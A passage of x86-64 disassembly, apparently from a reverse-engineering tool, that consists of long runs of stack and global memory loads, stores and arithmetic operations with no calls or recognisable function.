mov rax, qword [rsp + 0x8248]
imul eax, dword [rax], 0x2861
mov dword [rsp + 0x3f44], eax
mov eax, dword [rsp + 0x4078]
mov dword [rsp + 0x43a0], eax
mov rax, qword [rsp + 0x9dc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x70c8], rax
movsx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a520]
mov word [rcx], ax
lea rax, [rsp + 0xce4]
mov qword [rsp + 0xad30], rax
movsx eax, word [rsp + 0x1288]
mov rcx, qword [0x14017ac68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0x8070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov rcx, qword [rsp + 0xa330]
mov byte [rcx], al
lea rax, [rsp + 0x9c]
mov qword [rsp + 0xad38], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x7620]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3eb4], eax
mov rax, qword [rsp + 0x8fb0]
mov eax, dword [rax]
mov dword [rsp + 0x43a4], eax
mov rax, qword [rsp + 0x7df0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa448]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x92f8], rax
mov rax, qword [rsp + 0x9238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7870]
movzx eax, byte [rax]
mov byte [0x14017a6ba], al
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0x13e4], ax
movsx eax, byte [rsp + 0x14d]
movsx ecx, byte [rsp + 0xbe]
add eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
mov rax, qword [rsp + 0x78a0]
movzx eax, byte [rax]
mov byte [rsp + 0x232], al
movsx eax, word [rsp + 0x120c]
mov rcx, qword [rsp + 0x9168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe38], ax
mov rax, qword [rsp + 0x8b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3df4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7330]
mov dword [rcx], eax
lea rax, [rsp + 0x6e38]
mov qword [rsp + 0xad40], rax
mov rax, qword [rsp + 0x9358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7888]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7c60], rax
mov eax, dword [section..data]
mov dword [rsp + 0x43a8], eax
movzx eax, word [rsp + 0xe68]
mov rcx, qword [rsp + 0xa3f8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14017919c], ax
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x1cc]
shl eax, cl
mov byte [rsp + 0x211], al
mov rax, qword [0x14017a670]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
or eax, ecx
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0xdf4]
mov word [rsp + 0x13e8], ax
movsx eax, byte [rsp + 0x21a]
movsx ecx, byte [rsp + 0x143]
and eax, ecx
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0xa060]
mov eax, dword [rax]
mov dword [rsp + 0x43ac], eax
mov rax, qword [rsp + 0x7550]
mov rcx, qword [rsp + 0x8f58]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8730]
mov qword [rsp + 0xad48], rax
mov rax, qword [rsp + 0x74b0]
mov rcx, qword [rsp + 0x7908]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x85d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a4ff], al
movzx eax, word [rsp + 0xf2c]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x75f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7bf8]
movzx eax, word [rax]
mov word [rsp + 0x13ec], ax
movsx eax, word [rsp + 0x1320]
mov rcx, qword [rsp + 0xa7b8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b4], ax
mov rax, qword [rsp + 0x95a8]
movzx eax, byte [rax]
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0xa650]
mov ecx, dword [rsp + 0x4168]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x77e8]
mov rcx, qword [rsp + 0x8888]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8b90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d38]
mov dword [rsp + 0x43b0], eax
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x8b80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa258]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
or eax, ecx
mov byte [0x14017a59f], al
mov rax, qword [rsp + 0x9150]
movzx eax, byte [rax]
mov byte [rsp + 0x234], al
movsx eax, word [0x14017917c]
movsx ecx, word [rsp + 0xccc]
sar eax, cl
mov word [rsp + 0xcf4], ax
mov rax, qword [rsp + 0x75d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4a]
xor eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0xf70]
mov qword [rsp + 0xad50], rax
mov rax, qword [rsp + 0x7a38]
mov rcx, qword [rsp + 0x9358]
mov qword [rsp + 0xad58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad58]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9838], rax
lea rax, [rsp + 0x3c54]
mov qword [rsp + 0xad60], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bf8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa558]
mov qword [rcx], rax
lea rax, [rsp + 0x42a0]
mov qword [rsp + 0xad68], rax
lea rax, [rsp + 0xc4c]
mov qword [0x14017ad60], rax
mov rax, qword [rsp + 0x8680]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fc]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [0x14017a7d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc60]
add eax, ecx
mov word [rsp + 0x1088], ax
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0x235], al
mov rax, qword [rsp + 0xa798]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaa28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9290]
mov word [rcx], ax
mov eax, dword [rsp + 0x4318]
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0x80f0]
mov rcx, qword [rsp + 0x74c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x99d8]
mov qword [rcx], rax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x3c4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cdc], eax
lea rax, [rsp + 0x9430]
mov qword [rsp + 0xad70], rax
mov rax, qword [rsp + 0x8b18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x13d4]
add eax, ecx
mov rcx, qword [rsp + 0xabd8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb8]
movzx ecx, byte [rsp + 0xca]
add eax, ecx
mov byte [0x1401790d7], al
lea rax, [rsp + 0x11a8]
mov qword [rsp + 0xad78], rax
mov rax, qword [rsp + 0x8120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
imul eax, eax, 0xa5b
mov word [rsp + 0x1074], ax
mov eax, dword [rsp + 0x3de8]
mov dword [rsp + 0x43b8], eax
mov rax, qword [rsp + 0xac10]
mov ecx, dword [rsp + 0x4304]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3cb8], eax
mov rax, qword [rsp + 0x9ec0]
mov qword [rsp + 0xad80], rax
mov rax, qword [rsp + 0x96b8]
mov rcx, qword [rsp + 0x9890]
mov qword [rsp + 0xad88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xad88]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8c88]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x17d]
or eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xa278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa080]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401791a0], ax
movzx eax, byte [rsp + 0x115]
mov byte [rsp + 0x236], al
movsx eax, word [rsp + 0xf14]
movsx ecx, word [rsp + 0xc64]
shl eax, cl
mov word [rsp + 0xc34], ax
lea rax, [rsp + 0xf6c]
mov qword [rsp + 0xad90], rax
mov rax, qword [rsp + 0xac58]
mov rcx, qword [rsp + 0xa810]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8ba0]
mov qword [rcx], rax
lea rax, [rsp + 0x3b14]
mov qword [rsp + 0xad98], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0xab98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8790]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9db8]
mov ecx, dword [rsp + 0x4098]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7e78]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfd4]
mov word [rsp + 0x13f0], ax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0x101]
sub eax, ecx
mov byte [0x1401790db], al
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9cb8]
mov byte [rcx], al
lea rax, [rsp + 0x103c]
mov qword [rsp + 0xada0], rax
movzx eax, byte [rsp + 0xe5]
movzx ecx, byte [0x140179022]
sub eax, ecx
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x8430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c08]
mov rax, qword [rax]
mov qword [rsp + 0xada8], rax
mov rax, qword [rsp + 0xabb8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c70]
mov eax, dword [rax]
mov dword [rsp + 0x43bc], eax
mov rax, qword [rsp + 0x9d78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9218]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa428]
mov word [rcx], ax
mov rax, qword [0x14017aa48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6db0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a582], al
mov rax, qword [rsp + 0x8e08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x93a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x70c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8918]
movzx eax, byte [rax]
mov byte [rsp + 0x237], al
movzx eax, word [0x140179090]
movzx ecx, word [rsp + 0x12d4]
or eax, ecx
mov word [rsp + 0x1220], ax
lea rax, [rsp + 0x13d4]
mov qword [rsp + 0xadb0], rax
mov rax, qword [rsp + 0xa1f8]
mov rcx, qword [rsp + 0xa660]
mov qword [rsp + 0xadb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xadb8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7350]
mov eax, dword [rax]
mov ecx, dword [section..data]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x8e48]
mov eax, dword [rax]
mov dword [rsp + 0x43c0], eax
mov rax, qword [0x140179010]
movzx ecx, al
mov rax, qword [rsp + 0x93b0]
shl rax, cl
mov qword [rsp + 0x9e30], rax
movsx eax, byte [rsp + 0x112]
mov rcx, qword [rsp + 0x9030]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017906b], al
movzx eax, byte [rsp + 0xcb]
mov byte [rsp + 0x238], al
movzx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0x6eb8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1150], ax
lea rax, [rsp + 0xec4]
mov qword [rsp + 0xadc0], rax
mov rax, qword [rsp + 0x9d18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a7]
sub eax, ecx
mov rcx, qword [rsp + 0x8e40]
mov byte [rcx], al
mov eax, dword [rsp + 0x40d4]
mov ecx, dword [rsp + 0x3d60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40d8], eax
mov rax, qword [rsp + 0xa1f8]
mov qword [rsp + 0xadc8], rax
mov rax, qword [rsp + 0x9468]
mov rcx, qword [rsp + 0x94f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0x7748]
mov rax, qword [rax]
mov qword [rsp + 0xadd0], rax
mov rax, qword [0x14017a5a8]
movzx eax, word [rax]
mov word [0x14017ad68], ax
movzx eax, byte [rsp + 0x4e]
mov rcx, qword [rsp + 0x7010]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x8fc8]
movsx eax, word [rax]
movsx ecx, word [0x140179178]
sub eax, ecx
mov word [rsp + 0xfb4], ax
lea rax, [rsp + 0x228]
mov qword [rsp + 0xadd8], rax
movzx eax, word [rsp + 0xe6c]
movzx ecx, word [rsp + 0x13dc]
add eax, ecx
mov rcx, qword [rsp + 0x81a0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4398]
mov dword [rsp + 0x43c4], eax
mov rax, qword [rsp + 0x8400]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa718], rax
mov rax, qword [rsp + 0x92a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7818]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x43c8], eax
mov rax, qword [0x14017a710]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1070]
sar eax, cl
mov word [0x1401791a4], ax
movzx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x8268]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xad38]
mov byte [rcx], al
movzx eax, byte [rsp + 0x202]
mov byte [rsp + 0x239], al
movzx eax, word [0x14017a4f8]
mov rcx, qword [rsp + 0x9c98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1104], ax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xade0], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x437c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8348]
mov ecx, dword [rsp + 0x4190]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7648]
mov qword [rsp + 0xade8], rax
mov rax, qword [rsp + 0xa630]
mov rcx, qword [rsp + 0x6ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d90]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [0x14017901b], al
mov rax, qword [rsp + 0x85d8]
movzx eax, byte [rax]
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1270]
add eax, ecx
mov word [rsp + 0x139c], ax
movzx eax, word [rsp + 0x111c]
mov rcx, qword [rsp + 0x7ea8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1174], ax
lea rax, [rsp + 0x87]
mov qword [rsp + 0xadf0], rax
mov rax, qword [rsp + 0x8ad8]
mov rcx, qword [rsp + 0x7e28]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x75f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xad18]
mov eax, dword [rax]
mov dword [rsp + 0x43cc], eax
mov rax, qword [rsp + 0x7b68]
mov rcx, qword [rsp + 0x95b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9dc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9de8]
mov rcx, qword [rsp + 0x87e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7188]
mov dword [rcx], eax
movsx eax, word [rsp + 0x11e8]
movsx ecx, word [rsp + 0xd5c]
add eax, ecx
mov word [0x140179084], ax
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x23b], al
mov rax, qword [rsp + 0xa170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7cd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1154], ax
movzx eax, word [rsp + 0x13cc]
mov word [rsp + 0x13f4], ax
mov rax, qword [rsp + 0x7018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
shl eax, cl
mov rcx, qword [rsp + 0x9fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x73f8]
mov rcx, qword [rsp + 0xa320]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa310]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa338]
mov qword [rsp + 0xadf8], rax
mov rax, qword [rsp + 0x9de0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa050]
mov qword [rsp + 0xae00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x73d0]
mov dword [rcx], eax
lea rax, section..data
mov qword [rsp + 0xae08], rax
lea rax, [rsp + 0x6d]
mov qword [0x14017ad70], rax
mov rax, qword [rsp + 0xa8e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6b40]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8ed0]
mov word [rcx], ax
lea rax, [rsp + 0xc90]
mov qword [rsp + 0xae10], rax
mov rax, qword [rsp + 0x8058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7880]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7320]
mov byte [rcx], al
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x8790]
mov rax, qword [rax]
mov qword [rsp + 0xae18], rax
mov eax, dword [rsp + 0x3d38]
mov ecx, dword [rsp + 0x3fa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7790]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x43d0], eax
mov rax, qword [rsp + 0x88b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6c88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f10], rax
movzx eax, word [rsp + 0x11ec]
movzx ecx, word [rsp + 0x11d0]
add eax, ecx
mov word [0x14017a7e0], ax
movsx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x9948]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1120], ax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xae20], rax
mov rax, qword [rsp + 0x9b10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ef]
and eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov byte [rcx], al
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0xae28], rax
mov rax, qword [rsp + 0x8380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7390]
mov rcx, qword [rsp + 0x8538]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7db0], rax
lea rax, [rsp + 0x3d1c]
mov qword [rsp + 0xae30], rax
mov rax, qword [rsp + 0x7b90]
mov rcx, qword [rsp + 0x7780]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7370]
mov qword [rcx], rax
lea rax, [rsp + 0xfec]
mov qword [rsp + 0xae38], rax
mov rax, qword [rsp + 0x83e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x78a0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401790de], al
mov rax, qword [0x14017a7f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9ad8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1068], ax
mov rax, qword [rsp + 0x9d18]
movzx eax, byte [rax]
mov byte [rsp + 0x23c], al
movzx eax, word [rsp + 0xc9c]
movzx ecx, word [rsp + 0x1074]
or eax, ecx
mov rcx, qword [rsp + 0x8170]
mov word [rcx], ax
mov rax, qword [rsp + 0x7aa8]
mov rcx, qword [rsp + 0x8f08]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c88]
mov dword [rsp + 0x43d4], eax
mov rax, qword [rsp + 0x7998]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4368]
sar eax, cl
mov dword [rsp + 0x41f8], eax
lea rax, [rsp + 0x7d58]
mov qword [rsp + 0xae40], rax
movzx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x9858]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8a70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa3]
mov byte [0x14017a6bb], al
movzx eax, word [0x140179100]
movzx ecx, word [rsp + 0xfc0]
imul eax, ecx
mov rcx, qword [rsp + 0x86c8]
mov word [rcx], ax
lea rax, [rsp + 0x11bc]
mov qword [rsp + 0xae48], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0xf3]
sub eax, ecx
mov byte [rsp + 0x1be], al
mov rax, qword [rsp + 0x7d28]
mov eax, dword [rax]
mov dword [rsp + 0x43d8], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c00]
mov rcx, qword [rsp + 0xa068]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8c08]
mov qword [rcx], rax
lea rax, [rsp + 0x79b0]
mov qword [rsp + 0xae50], rax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
add eax, ecx
mov byte [rsp + 0x225], al
mov rax, qword [rsp + 0x7b18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179130], ax
movzx eax, byte [0x140179072]
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0x8930]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7778]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e18]
movsx eax, word [rax]
mov rcx, qword [0x14017acb0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov word [rcx], ax
lea rax, [rsp + 0x41b4]
mov qword [rsp + 0xae58], rax
mov rax, qword [rsp + 0x7ff0]
mov rcx, qword [rsp + 0x91f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa1a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c18]
mov eax, dword [rax]
mov dword [rsp + 0x43dc], eax
mov rax, qword [rsp + 0xa1f8]
mov rcx, qword [rsp + 0x7038]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8390]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x23e], al
lea rax, [rsp + 0x1d8]
mov qword [0x14017ad78], rax
mov rax, qword [rsp + 0x9458]
movsx eax, byte [rax]
mov rcx, qword [0x14017a550]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x18e], al
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x9e20]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x11dc], ax
lea rax, [rsp + 0xfdc]
mov qword [rsp + 0xae60], rax
movsx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x88a8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov byte [rcx], al
mov eax, dword [rsp + 0x4230]
mov dword [rsp + 0x43e0], eax
mov rax, qword [rsp + 0x8f18]
mov rcx, qword [rsp + 0x80e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8550]
mov qword [rcx], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4310], eax
lea rax, [rsp + 0x8158]
mov qword [rsp + 0xae68], rax
movzx eax, byte [rsp + 0x216]
mov rcx, qword [rsp + 0xa8f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401790a3], al
mov rax, qword [rsp + 0x7500]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9088]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x121c], ax
lea rax, [rsp + 0x122c]
mov qword [rsp + 0xae70], rax
mov rax, qword [rsp + 0x93f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7b28]
mov byte [rcx], al
movsx eax, word [rsp + 0x13ac]
movsx ecx, word [rsp + 0x12f8]
add eax, ecx
mov word [rsp + 0x102c], ax
lea rax, [rsp + 0x3d90]
mov qword [rsp + 0xae78], rax
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x8690]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8220], rax
mov rax, qword [rsp + 0x86c0]
mov qword [rsp + 0xae80], rax
mov rax, qword [rsp + 0x98b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ecc], eax
movsx eax, byte [rsp + 0x119]
mov rcx, qword [rsp + 0x7060]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [str.mj_a_n], al
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x98e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0x7bc0]
movzx eax, word [rax]
mov word [rsp + 0x13f8], ax
mov rax, qword [rsp + 0x98a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8070]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9320]
mov byte [rcx], al
mov rax, qword [rsp + 0x7b28]
movzx eax, byte [rax]
mov byte [rsp + 0x23f], al
mov rax, qword [rsp + 0x8400]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6f90]
shl rax, cl
mov qword [rsp + 0x88d8], rax
lea rax, [rsp + 0xa6a8]
mov qword [rsp + 0xae88], rax
mov rax, qword [rsp + 0xaae8]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d48]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c18]
sar eax, cl
mov rcx, qword [rsp + 0x6fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9aa8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a700]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017904f], al
mov rax, qword [rsp + 0xaa38]
movzx eax, word [rax]
mov word [rsp + 0x13fc], ax
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x9980]
